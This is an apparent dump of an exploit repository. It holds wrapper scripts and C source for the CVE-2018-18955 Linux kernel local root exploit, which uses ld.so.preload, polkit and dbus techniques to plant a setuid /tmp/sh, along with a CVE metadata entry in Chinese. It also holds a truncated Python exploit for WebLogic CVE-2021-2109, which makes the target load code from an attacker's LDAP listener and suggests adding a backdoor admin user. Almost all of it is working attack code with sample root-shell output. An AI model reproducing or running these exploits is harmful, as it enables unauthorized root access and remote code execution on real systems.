/bin/rm "${service}.conf"
|
||||
/bin/rm "${service}.service"
|
||||
echo "/bin/rm /usr/share/dbus-1/system-services/${service}.service" | $rootshell
|
||||
echo "/bin/rm /etc/dbus-1/system.d/${service}.conf" | $rootshell
|
||||
|
||||
echo "[*] Launching root shell: ${rootshell}"
|
||||
$rootshell
|
||||
|
|
@ -0,0 +1,110 @@
|
|||
#!/bin/sh
|
||||
# wrapper for Jann Horn's exploit for CVE-2018-18955
|
||||
# uses ld.so.preload technique
|
||||
# ---
|
||||
# test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.ldpreload.sh
|
||||
# [*] Compiling...
|
||||
# [*] Adding libsubuid.so to /etc/ld.so.preload...
|
||||
# [.] starting
|
||||
# [.] setting up namespace
|
||||
# [~] done, namespace sandbox set up
|
||||
# [.] mapping subordinate ids
|
||||
# [.] subuid: 165536
|
||||
# [.] subgid: 165536
|
||||
# [~] done, mapped subordinate ids
|
||||
# [.] executing subshell
|
||||
# [+] Success:
|
||||
# -rwsrwxr-x 1 root root 8384 Nov 21 19:07 /tmp/sh
|
||||
# [*] Launching root shell: /tmp/sh
|
||||
# root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id
|
||||
# uid=0(root) gid=0(root) groups=0(root),1001(test)
|
||||
|
||||
rootshell="/tmp/sh"
|
||||
lib="libsubuid.so"
|
||||
|
||||
command_exists() {
|
||||
command -v "${1}" >/dev/null 2>/dev/null
|
||||
}
|
||||
|
||||
if ! command_exists /usr/bin/newuidmap; then
|
||||
echo '[-] newuidmap is not installed'
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if ! command_exists /usr/bin/newgidmap; then
|
||||
echo '[-] newgidmap is not installed'
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if ! test -w .; then
|
||||
echo '[-] working directory is not writable'
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "[*] Compiling..."
|
||||
|
||||
if ! gcc subuid_shell.c -o subuid_shell; then
|
||||
echo 'Compiling subuid_shell.c failed'
|
||||
echo 'Using precompiled binary'
|
||||
cp bin/subuid_shell .
|
||||
|
||||
if [ $? -ne 0 ]
|
||||
then
|
||||
echo "Could not copy precompiled binary"
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
if ! gcc subshell.c -o subshell; then
|
||||
echo 'Compiling gcc_subshell.c failed'
|
||||
echo 'Using precompiled binary'
|
||||
cp bin/subshell .
|
||||
|
||||
if [ $? -ne 0 ]
|
||||
then
|
||||
echo "Could not copy precompiled binary"
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
if ! gcc rootshell.c -o "${rootshell}"; then
|
||||
echo 'Compiling rootshell.c failed'
|
||||
echo 'Using precompiled binary'
|
||||
cp bin/rootshell "${rootshell}"
|
||||
|
||||
if [ $? -ne 0 ]
|
||||
then
|
||||
echo "Could not copy rootshell to '${rootshell}'"
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
if ! gcc libsubuid.c -fPIC -shared -o "${lib}"; then
|
||||
echo 'Compiling libsubuid.c failed'
|
||||
echo 'Using precompiled shared library'
|
||||
cp bin/libsubuid "${lib}"
|
||||
fi
|
||||
|
||||
echo "[*] Adding ${lib} to /etc/ld.so.preload..."
|
||||
|
||||
echo "cp ${lib} /lib/; echo /lib/${lib} > /etc/ld.so.preload" | ./subuid_shell ./subshell
|
||||
|
||||
/usr/bin/newuidmap
|
||||
|
||||
if ! test -u "${rootshell}"; then
|
||||
echo '[-] Failed'
|
||||
/bin/rm "${rootshell}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo '[+] Success:'
|
||||
/bin/ls -la "${rootshell}"
|
||||
|
||||
echo '[*] Cleaning up...'
|
||||
/bin/rm subuid_shell
|
||||
/bin/rm subshell
|
||||
echo "/bin/rm /lib/${lib}" | $rootshell
|
||||
|
||||
echo "[*] Launching root shell: ${rootshell}"
|
||||
$rootshell
|
||||
|
|
@ -0,0 +1,134 @@
|
|||
#!/bin/sh
|
||||
# wrapper for Jann Horn's exploit for CVE-2018-18955
|
||||
# uses polkit technique
|
||||
# ---
|
||||
# test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.polkit.sh
|
||||
# [*] Compiling...
|
||||
# [*] Creating /usr/share/polkit-1/actions/subuid.policy...
|
||||
# [.] starting
|
||||
# [.] setting up namespace
|
||||
# [~] done, namespace sandbox set up
|
||||
# [.] mapping subordinate ids
|
||||
# [.] subuid: 165536
|
||||
# [.] subgid: 165536
|
||||
# [~] done, mapped subordinate ids
|
||||
# [.] executing subshell
|
||||
# [*] Launching pkexec...
|
||||
# [+] Success:
|
||||
# -rwsrwxr-x 1 root root 8384 Dec 29 14:22 /tmp/sh
|
||||
# [*] Cleaning up...
|
||||
# [*] Launching root shell: /tmp/sh
|
||||
# root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id
|
||||
# uid=0(root) gid=0(root) groups=0(root),1001(test)
|
||||
|
||||
rootshell="/tmp/sh"
|
||||
policy="subuid.policy"
|
||||
|
||||
command_exists() {
|
||||
command -v "${1}" >/dev/null 2>/dev/null
|
||||
}
|
||||
|
||||
if ! command_exists /usr/bin/pkexec; then
|
||||
echo '[-] pkexec is not installed'
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if ! command_exists /usr/bin/newuidmap; then
|
||||
echo '[-] newuidmap is not installed'
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if ! command_exists /usr/bin/newgidmap; then
|
||||
echo '[-] newgidmap is not installed'
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if ! test -w .; then
|
||||
echo '[-] working directory is not writable'
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "[*] Compiling..."
|
||||
|
||||
if ! gcc subuid_shell.c -o subuid_shell; then
|
||||
echo 'Compiling subuid_shell.c failed'
|
||||
echo 'Using precompiled binary'
|
||||
cp bin/subuid_shell .
|
||||
|
||||
if [ $? -ne 0 ]
|
||||
then
|
||||
echo "Could not copy precompiled binary"
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
if ! gcc subshell.c -o subshell; then
|
||||
echo 'Compiling gcc_subshell.c failed'
|
||||
echo 'Using precompiled binary'
|
||||
cp bin/subshell .
|
||||
|
||||
if [ $? -ne 0 ]
|
||||
then
|
||||
echo "Could not copy precompiled binary"
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
if ! gcc rootshell.c -o "${rootshell}"; then
|
||||
echo 'Compiling rootshell.c failed'
|
||||
echo 'Using precompiled binary'
|
||||
cp bin/rootshell "${rootshell}"
|
||||
|
||||
if [ $? -ne 0 ]
|
||||
then
|
||||
echo "Could not copy rootshell to '${rootshell}'"
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
echo "[*] Creating /usr/share/polkit-1/actions/${policy}..."
|
||||
|
||||
echo '<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE policyconfig PUBLIC
|
||||
"-//freedesktop//DTD PolicyKit Policy Configuration 1.0//EN"
|
||||
"http://www.freedesktop.org/standards/PolicyKit/1/policyconfig.dtd">
|
||||
<policyconfig>
|
||||
<action id="org.freedesktop.policykit.exec">
|
||||
<defaults>
|
||||
<allow_any>yes</allow_any>
|
||||
<allow_inactive>yes</allow_inactive>
|
||||
<allow_active>yes</allow_active>
|
||||
</defaults>
|
||||
</action>
|
||||
</policyconfig>' > "${policy}"
|
||||
|
||||
echo "cp ${policy} /usr/share/polkit-1/actions/${policy}" | ./subuid_shell ./subshell
|
||||
|
||||
if ! test -r "/usr/share/polkit-1/actions/${policy}"; then
|
||||
echo '[-] Failed'
|
||||
/bin/rm "${rootshell}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "[*] Launching pkexec..."
|
||||
|
||||
/usr/bin/pkexec --disable-internal-agent 2>/dev/null /bin/sh -c "/bin/chown root:root ${rootshell};/bin/chmod u+s ${rootshell}"
|
||||
|
||||
if ! test -u "${rootshell}"; then
|
||||
echo '[-] Failed'
|
||||
/bin/rm "${rootshell}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo '[+] Success:'
|
||||
/bin/ls -la "${rootshell}"
|
||||
|
||||
echo '[*] Cleaning up...'
|
||||
/bin/rm subuid_shell
|
||||
/bin/rm subshell
|
||||
/bin/rm "${policy}"
|
||||
echo "/bin/rm /usr/share/polkit-1/actions/${policy}" | $rootshell
|
||||
|
||||
echo "[*] Launching root shell: ${rootshell}"
|
||||
$rootshell
|
||||
|
|
@ -0,0 +1,14 @@
|
|||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
void init(void) __attribute__((constructor));
|
||||
|
||||
void __attribute__((constructor)) init() {
|
||||
setuid(0);
|
||||
setgid(0);
|
||||
unlink("/etc/ld.so.preload");
|
||||
system("chown root:root /tmp/sh");
|
||||
system("chmod u+s /tmp/sh");
|
||||
_exit(0);
|
||||
}
|
|
@ -0,0 +1,9 @@
|
|||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(void) {
|
||||
setuid(0);
|
||||
setgid(0);
|
||||
execl("/bin/bash", "bash", NULL);
|
||||
}
|
|
@ -0,0 +1,98 @@
|
|||
// subshell.c
|
||||
// author: Jann Horn
|
||||
// source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <unistd.h>
|
||||
#include <grp.h>
|
||||
#include <err.h>
|
||||
#include <stdio.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <sched.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
int main() {
|
||||
int sync_pipe[2];
|
||||
char dummy;
|
||||
|
||||
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sync_pipe)) {
|
||||
err(1, "pipe");
|
||||
}
|
||||
|
||||
pid_t child = fork();
|
||||
|
||||
if (child == -1) {
|
||||
err(1, "fork");
|
||||
}
|
||||
|
||||
if (child == 0) {
|
||||
close(sync_pipe[1]);
|
||||
|
||||
if (unshare(CLONE_NEWUSER)) {
|
||||
err(1, "unshare userns");
|
||||
}
|
||||
|
||||
if (write(sync_pipe[0], "X", 1) != 1) {
|
||||
err(1, "write to sock");
|
||||
}
|
||||
|
||||
if (read(sync_pipe[0], &dummy, 1) != 1) {
|
||||
err(1, "read from sock");
|
||||
}
|
||||
|
||||
execl("/bin/bash", "bash", NULL);
|
||||
err(1, "exec");
|
||||
}
|
||||
|
||||
close(sync_pipe[0]);
|
||||
|
||||
if (read(sync_pipe[1], &dummy, 1) != 1) {
|
||||
err(1, "read from sock");
|
||||
}
|
||||
|
||||
char pbuf[100];
|
||||
sprintf(pbuf, "/proc/%d", (int)child);
|
||||
|
||||
if (chdir(pbuf)) {
|
||||
err(1, "chdir");
|
||||
}
|
||||
|
||||
const char *id_mapping = "0 0 1\n1 1 1\n2 2 1\n3 3 1\n4 4 1\n5 5 995\n";
|
||||
int uid_map = open("uid_map", O_WRONLY);
|
||||
|
||||
if (uid_map == -1) {
|
||||
err(1, "open uid map");
|
||||
}
|
||||
|
||||
if (write(uid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping)) {
|
||||
err(1, "write uid map");
|
||||
}
|
||||
|
||||
close(uid_map);
|
||||
|
||||
int gid_map = open("gid_map", O_WRONLY);
|
||||
|
||||
if (gid_map == -1) {
|
||||
err(1, "open gid map");
|
||||
}
|
||||
|
||||
if (write(gid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping)) {
|
||||
err(1, "write gid map");
|
||||
}
|
||||
|
||||
close(gid_map);
|
||||
|
||||
if (write(sync_pipe[1], "X", 1) != 1) {
|
||||
err(1, "write to sock");
|
||||
}
|
||||
|
||||
int status;
|
||||
|
||||
if (wait(&status) != child) {
|
||||
err(1, "wait");
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,322 @@
|
|||
// subuid_shell.c - Linux local root exploit for CVE-2018-18955
|
||||
// Exploits broken uid/gid mapping in nested user namespaces.
|
||||
// ---
|
||||
// Mostly stolen from Jann Horn's exploit:
|
||||
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
|
||||
// Some code stolen from Xairy's exploits:
|
||||
// - https://github.com/xairy/kernel-exploits
|
||||
// ---
|
||||
// <bcoles@gmail.com>
|
||||
// - added auto subordinate id mapping
|
||||
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2018-18955
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <grp.h>
|
||||
#include <pwd.h>
|
||||
#include <sched.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <sys/wait.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <signal.h>
|
||||
#include <sys/prctl.h>
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define dprintf printf
|
||||
#else
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
char* SUBSHELL = "./subshell";
|
||||
|
||||
|
||||
// * * * * * * * * * * * * * * * * * File I/O * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define CHUNK_SIZE 1024
|
||||
|
||||
int read_file(
|
||||
const char* file,
|
||||
char* buffer,
|
||||
int max_length
|
||||
) {
|
||||
int f = open(file, O_RDONLY);
|
||||
|
||||
if (f == -1) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
int bytes_read = 0;
|
||||
|
||||
while (1) {
|
||||
int bytes_to_read = CHUNK_SIZE;
|
||||
|
||||
if (bytes_to_read > max_length - bytes_read) {
|
||||
bytes_to_read = max_length - bytes_read;
|
||||
}
|
||||
|
||||
int rv = read(f, &buffer[bytes_read], bytes_to_read);
|
||||
|
||||
if (rv == -1) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
bytes_read += rv;
|
||||
|
||||
if (rv == 0) {
|
||||
return bytes_read;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static int write_file(
|
||||
const char* file,
|
||||
const char* what,
|
||||
...
|
||||
) {
|
||||
char buf[1024];
|
||||
va_list args;
|
||||
|
||||
va_start(args, what);
|
||||
vsnprintf(buf, sizeof(buf), what, args);
|
||||
va_end(args);
|
||||
|
||||
buf[sizeof(buf) - 1] = 0;
|
||||
|
||||
int len = strlen(buf);
|
||||
int fd = open(file, O_WRONLY | O_CLOEXEC);
|
||||
|
||||
if (fd == -1) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (write(fd, buf, len) != len) {
|
||||
close(fd);
|
||||
return -1;
|
||||
}
|
||||
|
||||
close(fd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Map * * * * * * * * * * * * * * * * *
|
||||
|
||||
int get_subuid(
|
||||
char* output,
|
||||
int max_length
|
||||
) {
|
||||
char buffer[1024];
|
||||
char* path = "/etc/subuid";
|
||||
int length = read_file(path, &buffer[0], sizeof(buffer));
|
||||
|
||||
if (length == -1) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
int real_uid = getuid();
|
||||
struct passwd *u = getpwuid(real_uid);
|
||||
|
||||
char needle[1024];
|
||||
|
||||
sprintf(needle, "%s:", u->pw_name);
|
||||
|
||||
int needle_length = strlen(needle);
|
||||
char* found = memmem(&buffer[0], length, needle, needle_length);
|
||||
|
||||
if (found == NULL) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
for (int i = 0; found[needle_length + i] != ':'; i++) {
|
||||
if (
|
||||
i >= max_length
|
||||
|| ((found - &buffer[0]) + needle_length + i >= length)
|
||||
) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
output[i] = found[needle_length + i];
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int get_subgid(
|
||||
char* output,
|
||||
int max_length
|
||||
) {
|
||||
char buffer[1024];
|
||||
char* path = "/etc/subgid";
|
||||
int length = read_file(path, &buffer[0], sizeof(buffer));
|
||||
|
||||
if (length == -1) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
char needle[1024];
|
||||
int real_gid = getgid();
|
||||
struct group *g = getgrgid(real_gid);
|
||||
|
||||
sprintf(needle, "%s:", g->gr_name);
|
||||
|
||||
int needle_length = strlen(needle);
|
||||
char* found = memmem(&buffer[0], length, needle, needle_length);
|
||||
|
||||
if (found == NULL) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
for (int i = 0; found[needle_length + i] != ':'; i++) {
|
||||
if (
|
||||
i >= max_length
|
||||
|| ((found - &buffer[0]) + needle_length + i >= length)
|
||||
) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
output[i] = found[needle_length + i];
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
if (argc > 1) {
|
||||
SUBSHELL = argv[1];
|
||||
}
|
||||
|
||||
dprintf("[.] starting\n");
|
||||
dprintf("[.] setting up namespace\n");
|
||||
|
||||
int sync_pipe[2];
|
||||
char dummy;
|
||||
|
||||
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sync_pipe)) {
|
||||
dprintf("[-] pipe\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
pid_t child = fork();
|
||||
|
||||
if (child == -1) {
|
||||
dprintf("[-] fork");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (child == 0) {
|
||||
prctl(PR_SET_PDEATHSIG, SIGKILL);
|
||||
close(sync_pipe[1]);
|
||||
|
||||
if (unshare(CLONE_NEWUSER) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (unshare(CLONE_NEWNET) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWNET)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (write(sync_pipe[0], "X", 1) != 1) {
|
||||
dprintf("write to sock\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (read(sync_pipe[0], &dummy, 1) != 1) {
|
||||
dprintf("[-] read from sock\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (setgid(0)) {
|
||||
dprintf("[-] setgid");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (setuid(0)) {
|
||||
printf("[-] setuid");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
execl(SUBSHELL, "", NULL);
|
||||
dprintf("[-] executing subshell failed\n");
|
||||
}
|
||||
|
||||
close(sync_pipe[0]);
|
||||
|
||||
if (read(sync_pipe[1], &dummy, 1) != 1) {
|
||||
dprintf("[-] read from sock\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char path[256];
|
||||
|
||||
sprintf(path, "/proc/%d/setgroups", (int)child);
|
||||
|
||||
if (write_file(path, "deny") == -1) {
|
||||
dprintf("[-] denying setgroups failed\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
dprintf("[~] done, namespace sandbox set up\n");
|
||||
dprintf("[.] mapping subordinate ids\n");
|
||||
|
||||
char subuid[64];
|
||||
char subgid[64];
|
||||
|
||||
if (get_subuid(&subuid[0], sizeof(subuid))) {
|
||||
dprintf("[-] couldn't find subuid map in /etc/subuid\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (get_subgid(&subgid[0], sizeof(subgid))) {
|
||||
dprintf("[-] couldn't find subgid map in /etc/subgid\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
dprintf("[.] subuid: %s\n", subuid);
|
||||
dprintf("[.] subgid: %s\n", subgid);
|
||||
|
||||
char cmd[256];
|
||||
|
||||
sprintf(cmd, "newuidmap %d 0 %s 1000", (int)child, subuid);
|
||||
|
||||
if (system(cmd)) {
|
||||
dprintf("[-] newuidmap failed");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
sprintf(cmd, "newgidmap %d 0 %s 1000", (int)child, subgid);
|
||||
|
||||
if (system(cmd)) {
|
||||
dprintf("[-] newgidmap failed");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
dprintf("[~] done, mapped subordinate ids\n");
|
||||
dprintf("[.] executing subshell\n");
|
||||
|
||||
if (write(sync_pipe[1], "X", 1) != 1) {
|
||||
dprintf("[-] write to sock");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int status;
|
||||
|
||||
if (wait(&status) != child) {
|
||||
dprintf("[-] wait");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,19 @@
|
|||
id: CVE-2018-18955
|
||||
source: https://github.com/scheatkode/CVE-2018-18955
|
||||
info:
|
||||
name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。
|
||||
severity: high
|
||||
description: |
|
||||
在Linux内核4.15.x至4.19.2之前,kernel/user_namespace.c中的map_write()允许权限升级,因为它错误地处理了有超过5个UID或GID范围的嵌套用户名称空间。在受影响的用户命名空间中拥有CAP_SYS_ADMIN的用户可以绕过对命名空间以外的资源的访问控制,如阅读/etc/shadow。出现这种情况是因为ID转换在命名空间到内核的方向上正确进行,但在内核到命名空间的方向上不正确。
|
||||
scope-of-influence:
|
||||
4.15.x <= Linux kernel < 4.19.2
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2018-18955
|
||||
- https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.19.2
|
||||
cvss-metrics: CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 7.0
|
||||
cve-id: CVE-2018-18955
|
||||
cwe-id: CWE-863
|
||||
cnvd-id: None
|
||||
kve-id: None
|
||||
tags: RCE, 提权
|
|
@ -0,0 +1,168 @@
|
|||
import urllib.request, urllib.parse, http.cookiejar, ssl
|
||||
import sys, os, optparse, subprocess, threading, time
|
||||
|
||||
## Static vars; change at will, but recommend leaving as is
|
||||
sURL = 'http://192.168.0.100:7001'
|
||||
iTimeout = 5
|
||||
oRun = None
|
||||
|
||||
## Ignore unsigned certs, if any because WebLogic is default HTTP
|
||||
ssl._create_default_https_context = ssl._create_unverified_context
|
||||
|
||||
class runJar(threading.Thread):
|
||||
def __init__(self, sJarFile, sCMD, sAddress):
|
||||
self.stdout = []
|
||||
self.stderr = ''
|
||||
self.cmd = sCMD
|
||||
self.addr = sAddress
|
||||
self.jarfile = sJarFile
|
||||
self.proc = None
|
||||
threading.Thread.__init__(self)
|
||||
|
||||
def run(self):
|
||||
self.proc = subprocess.Popen(['java', '-jar', self.jarfile, '-C', self.cmd, '-A', self.addr], shell=False, stdout = subprocess.PIPE, stderr = subprocess.PIPE, universal_newlines=True)
|
||||
for line in iter(self.proc.stdout.readline, ''): self.stdout.append(line)
|
||||
for line in iter(self.proc.stderr.readline, ''): self.stderr += line
|
||||
|
||||
|
||||
def findJNDI():
|
||||
sCurDir = os.getcwd()
|
||||
sFile = ''
|
||||
for file in os.listdir(sCurDir):
|
||||
if 'JNDI' in file and '.jar' in file:
|
||||
sFile = file
|
||||
print('[+] Found and using ' + sFile)
|
||||
return sFile
|
||||
|
||||
def findJAVA(bVerbose):
|
||||
try:
|
||||
oProc = subprocess.Popen('java -version', stdout = subprocess.PIPE, stderr = subprocess.STDOUT)
|
||||
except:
|
||||
exit('[-] Error: java not found, needed to run the JAR file\n Please make sure to have "java" in your path.')
|
||||
sResult = list(oProc.stdout)[0].decode()
|
||||
if bVerbose: print('[+] Found Java: ' + sResult)
|
||||
|
||||
def checkParams(options, args):
|
||||
if args: sHost = args[0]
|
||||
else:
|
||||
sHost = input('[?] Please enter the URL ['+sURL+'] : ')
|
||||
if sHost == '': sHost = sURL
|
||||
if sHost[-1:] == '/': sHost = sHost[:-1]
|
||||
if not sHost[:4].lower() == 'http': sHost = 'http://' + sHost
|
||||
if options.username: sUser = options.username
|
||||
else:
|
||||
sUser = input('[?] Username [weblogic] : ')
|
||||
if sUser == '': sUser = 'weblogic'
|
||||
if options.password: sPass = options.password
|
||||
else:
|
||||
sPass = input('[?] Password [Passw0rd-] : ')
|
||||
if sPass == '': sPass = 'Passw0rd-'
|
||||
if options.command: sCMD = options.command
|
||||
else:
|
||||
sCMD = input('[?] Command to run [calc] : ')
|
||||
if sCMD == '': sCMD = 'calc'
|
||||
if options.listenaddr: sLHOST = options.listenaddr
|
||||
else:
|
||||
sLHOST = input('[?] Local IP to connect back to [192.168.0.10] : ')
|
||||
if sLHOST == '': sLHOST = '192.168.0.10'
|
||||
if options.verbose: bVerbose = True
|
||||
else: bVerbose = False
|
||||
return (sHost, sUser, sPass, sCMD, sLHOST, bVerbose)
|
||||
|
||||
def startListener(sJarFile, sCMD, sAddress, bVerbose):
|
||||
global oRun
|
||||
oRun = runJar(sJarFile, sCMD, sAddress)
|
||||
oRun.start()
|
||||
print('[!] Starting listener thread and waiting 3 seconds to retrieve the endpoint')
|
||||
oRun.join(3)
|
||||
if not oRun.stderr == '':
|
||||
exit('[-] Error starting Java listener:\n' + oRun.stderr)
|
||||
bThisLine=False
|
||||
if bVerbose: print('[!] For this to work, make sure your firewall is configured to be reachable on 1389 & 8180')
|
||||
for line in oRun.stdout:
|
||||
if bThisLine: return line.split('/')[3].replace('\n','')
|
||||
if 'JDK 1.8' in line: bThisLine = True
|
||||
|
||||
def endIt():
|
||||
global oRun
|
||||
print('[+] Closing threads')
|
||||
if oRun: oRun.proc.terminate()
|
||||
exit(0)
|
||||
|
||||
def main():
|
||||
usage = (
|
||||
'usage: %prog [options] URL \n'
|
||||
' Make sure to have "JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar"\n'
|
||||
' in the current working folder\n'
|
||||
'Get it here: https://github.com/welk1n/JNDI-Injection-Exploit\n'
|
||||
'Only works when hacker is reachable via an IPv4 address\n'
|
||||
'Use "whoami" to just verify the vulnerability (OPSEC safe but no output)\n'
|
||||
'Example: CVE-2021-2109.py -u weblogic -p Passw0rd -c calc -l 192.168.0.10 http://192.168.0.100:7001\n'
|
||||
'Sample payload as admin: cmd /c net user pwned Passw0rd- /add & net localgroup administrators pwned /add'
|
||||
)
|
||||
|
||||
parser = optparse.OptionParser(usage=usage)
|
||||
parser.add_option('--username', '-u', dest='username')
|
||||
parser.add_option('--password', '-p', dest='password')
|
||||
parser.add_option('--command', '-c', dest='command')
|
||||
parser.add_option('--listen', '-l', dest='listenaddr')
|
||||
parser.add_option('--verbose', '-v', dest='verbose', action="store_true", default=False)
|
||||
|
||||
## Get or ask for the vars
|
||||
(options, args) = parser.parse_args()
|
||||
(sHost, sUser, sPass, sCMD, sLHOST, bVerbose) = checkParams(options, args)
|
||||
|
||||
## Verify Java and JAR file
|
||||
sJarFile = findJNDI()
|
||||
findJAVA(bVerbose)
|
||||
|
||||
## Keep track of cookies between requests
|
||||
cj = http.cookiejar.CookieJar()
|
||||
oOpener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
|
||||
|
||||
print('[+] Verifying reachability')
|
||||
## Get the cookie
|
||||
oRequest = urllib.request.Request(url = sHost + '/console/')
|
||||
oResponse = oOpener.open(oRequest, timeout = iTimeout)
|
||||
for c in cj:
|
||||
if c.name == 'ADMINCONSOLESESSION':
|
||||
if bVerbose: print('[+] Got cookie "' + c.value + '"')
|
||||
|
||||
## Logging in
|
||||
lData = {'j_username' : sUser, 'j_password' : sPass, 'j_character_encoding' : 'UTF-8'}
|
||||
lHeaders = {'Referer' : sHost + '/console/login/LoginForm.jsp'}
|
||||
oRequest = urllib.request.Request(url = sHost + '/console/j_security_check', data = urllib.parse.urlencode(lData).encode(), headers = lHeaders)
|
||||
oResponse = oOpener.open(oRequest, timeout = iTimeout)
|
||||
sResult = oResponse.read().decode(errors='ignore').split('\r\n')
|
||||
bSuccess = True
|
||||
for line in sResult:
|
||||
if 'Authentication Denied' in line: bSuccess = False
|
||||
if bSuccess: print('[+] Succesfully logged in!\n')
|
||||
else: exit('[-] Authentication Denied')
|
||||
|
||||
## Launch the LDAP listener and retrieve the random endpoint value
|
||||
sRandom = startListener(sJarFile, sCMD, sLHOST, bVerbose)
|
||||
if bVerbose: print('[+] Got Java value: ' + sRandom)
|
||||
|
||||
## This is the actual vulnerability, retrieve LDAP data from victim which the runs on victim, it bypasses verification because IP is written as "127.0.0;1" instead of "127.0.0.1"
|
||||
print('\n[+] Firing exploit now, hold on')
|
||||
## http://192.168.0.100:7001/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(-ldap://192.168.0;10:1389/5r5mu7;AdminServer-)
|
||||
sConvertedIP = sLHOST.split('.')[0] + '.' + sLHOST.split('.')[1] + '.' + sLHOST.split('.')[2] + ';' + sLHOST.split('.')[3]
|
||||
sFullUrl = sHost + r'/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://' + sConvertedIP + ':1389/' + sRandom + r';AdminServer%22)'
|
||||
if bVerbose: print('[!] Using URL ' + sFullUrl)
|
||||
oRequest = urllib.request.Request(url = sFullUrl, headers = lHeaders)
|
||||
